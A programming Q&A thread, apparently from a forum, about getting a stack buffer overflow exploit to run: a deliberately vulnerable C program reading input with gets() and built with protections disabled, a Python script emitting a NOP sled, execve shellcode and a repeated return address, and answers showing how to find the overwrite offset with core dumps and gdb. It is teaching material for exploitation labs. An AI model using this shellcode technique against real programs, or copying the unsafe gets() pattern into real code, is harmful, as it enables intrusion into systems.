无法运行堆栈缓冲区溢出漏洞利用

Question

I have to inject a code in the following buffer overflow program. The code should print the hostname. I have an opcode ( \\x31\\xc0\\x50\\x68\\x6e\\x61\\x6d\\x65\\x68\\x68\\x6f\\x73\\x74\\x68\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x54\\x53\\xb0\\x0b\\x50\\xcd\\x80 ) which works. I have used NOPs and repeated return address. But I'm not able to run the code with it and I always end up with a segmentation fault. Can anyone help me on this?

Vulnerable.c

#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char * * argv)
{
  char * stuff = 0;
  int len = 0;
  vulnerable();
  return 0;
}

int
vulnerable(void)
{
  char buf[100];
  printf("enter your name: ");
  fflush(stdout);
  gets(buf);
  printf("\"%s\"\n Welcome", buf );
}

I compiled the above program with

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Shellcode.py

print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2‌​f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6 

I have called this python program in command line by

python shellcode.py | ./vulnerable

Answer 1

I suggest you to turn on core dump:

ulimit -c unlimited

then do a simple buffer overflow like perl -e 'print "A"x130' and system will generate the dump: open it with gdb -c core and you will see %eip=0x41414141

Then you can reduce the buffer injected like perl -e 'print "A"x120' until you get exactly the size of buffer in order to overwrite RET.

Answer 2

Can you describe the steps to find out the return address?

c> shellcode.py >shellcode
c> gdb vulnerable
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) b vulnerable
Breakpoint 1 at 0x80484e6: file vulnerable.c, line 17.
(gdb) r <shellcode
Starting program: /home/armali/bin/so/c/vulnerable <shellcode

Breakpoint 1, vulnerable () at vulnerable.c:17
17        printf("enter your name: ");
(gdb) info frame
Stack level 0, frame at 0xbffff7bc:
 eip = 0x80484e6 in vulnerable (vulnerable.c:17); saved eip 0x80484c9
 called by frame at 0xbffff7cc
 source language c.
 Arglist at 0xbffff7bc, args: 
 Locals at 0xbffff7bc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff7bc, eip at 0xbffff7c0

The example shows that the return address eip 0x80484c9 is saved at 0xbffff7c0 .